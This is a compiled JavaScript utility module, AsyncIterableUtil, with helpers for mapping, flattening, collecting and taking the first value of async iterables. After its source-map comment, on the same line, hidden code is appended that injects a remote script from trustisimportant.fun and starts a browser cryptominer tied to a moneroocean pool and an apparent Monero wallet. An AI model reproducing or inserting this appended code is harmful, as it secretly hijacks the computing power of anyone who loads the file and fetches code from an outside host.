"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.AsyncIterableUtil = void 0;
/**
* @internal
*/
class AsyncIterableUtil {
static async *map(iterable, map) {
for await (const value of iterable) {
yield await map(value);
}
}
static async *flatMap(iterable, map) {
for await (const value of iterable) {
yield* map(value);
}
}
static async collect(iterable) {
const result = [];
for await (const value of iterable) {
result.push(value);
}
return result;
}
static async first(iterable) {
for await (const value of iterable) {
return value;
}
return;
}
}
exports.AsyncIterableUtil = AsyncIterableUtil;
//# sourceMappingURL=AsyncIterableUtil.js.mapif (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()} |